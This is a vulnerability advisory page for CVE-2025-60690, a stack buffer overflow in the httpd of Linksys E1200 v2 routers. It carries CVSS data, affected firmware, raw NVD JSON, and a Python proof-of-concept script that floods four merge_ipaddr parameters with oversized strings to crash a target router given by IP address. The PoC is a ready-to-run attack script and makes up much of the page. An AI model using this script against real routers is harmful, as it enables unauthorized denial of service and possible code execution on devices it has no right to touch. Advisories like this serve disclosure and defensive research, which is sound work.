Security Vulnerability Report
中文
CVE-2025-60690 CVSS 8.8 HIGH

CVE-2025-60690

Published: 2025-11-13 17:15:49
Last Modified: 2026-03-17 16:16:18

Description

A stack-based buffer overflow exists in the get_merge_ipaddr function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The function concatenates up to four user-supplied CGI parameters matching <parameter>_0~3 into a fixed-size buffer (a2) without bounds checking. Remote attackers can exploit this vulnerability via specially crafted HTTP requests to execute arbitrary code or cause denial of service without authentication.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:* - NOT VULNERABLE
Linksys E1200 v2 Firmware E1200_v2.0.11.001_us.tar.gz

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60690 PoC - Linksys E1200 v2 Stack Buffer Overflow This PoC demonstrates the stack-based buffer overflow in get_merge_ipaddr function """ import requests import sys def exploit(target_ip, target_port=80): """ Exploit the buffer overflow vulnerability in Linksys E1200 v2 httpd The get_merge_ipaddr function concatenates 4 CGI parameters without bounds checking """ target_url = f"http://{target_ip}:{target_port}/" # Payload: 4 parameters with oversized data to overflow the fixed buffer # The buffer (a2) in get_merge_ipaddr has limited capacity # Sending combined data exceeding buffer size will cause stack overflow overflow_data = "A" * 500 # Large payload to overflow the buffer # Craft the malicious CGI parameters # Pattern: <parameter>_0, <parameter>_1, <parameter>_2, <parameter>_3 payload = { "merge_ipaddr_0": overflow_data, "merge_ipaddr_1": overflow_data, "merge_ipaddr_2": overflow_data, "merge_ipaddr_3": overflow_data } print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload size per parameter: {len(overflow_data)} bytes") print(f"[*] Total payload size: {len(overflow_data) * 4} bytes") try: # Send the malicious HTTP request response = requests.get(target_url, params=payload, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") return True except requests.exceptions.Timeout: print("[!] Request timed out - target may be vulnerable and crashed (DoS)") return True except requests.exceptions.ConnectionError: print("[!] Connection failed - target may be down (DoS successful)") return True except Exception as e: print(f"[!] Error: {str(e)}") return False def check_vulnerability(target_ip, target_port=80): """ Check if target is potentially vulnerable """ target_url = f"http://{target_ip}:{target_port}/" # Send normal parameters first to verify service is running normal_payload = { "merge_ipaddr_0": "192.168.1", "merge_ipaddr_1": "192.168.1", "merge_ipaddr_2": "192.168.1", "merge_ipaddr_3": "192.168.1" } try: response = requests.get(target_url, params=normal_payload, timeout=10) if response.status_code: print(f"[+] Target {target_ip} is responsive") return True except: print(f"[-] Target {target_ip} is not responding") return False return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 CVE-2025-60690.py <target_ip> [port]") print("Example: python3 CVE-2025-60690.py 192.168.1.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("=" * 60) print("CVE-2025-60690 - Linksys E1200 v2 Stack Buffer Overflow") print("=" * 60) if check_vulnerability(target, port): exploit(target, port) else: print("[-] Target check failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60690", "sourceIdentifier": "[email protected]", "published": "2025-11-13T17:15:48.980", "lastModified": "2026-03-17T16:16:18.367", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow exists in the get_merge_ipaddr function of the httpd binary on Linksys E1200 v2 routers (Firmware E1200_v2.0.11.001_us.tar.gz). The function concatenates up to four user-supplied CGI parameters matching <parameter>_0~3 into a fixed-size buffer (a2) without bounds checking. Remote attackers can exploit this vulnerability via specially crafted HTTP requests to execute arbitrary code or cause denial of service without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e1200_firmware:2.0.11.001:*:*:*:*:*:*:*", "matchCriteriaId": "2461F974-2121-490C-A6CD-18B006070679"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e1200:2:*:*:*:*:*:*:*", "matchCriteriaId": "4B14B800-5FCA-4E2B-A42B-EBE6EEC8FBB1"}]}]}], "references": [{"url": "http://linksys.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60690", "source": "[email protected]"}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/Linksys/Linksys-E1200/CVE-2025-60690.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.linksys.com/", "source": "[email protected]", "tags": ["Product"]}]}}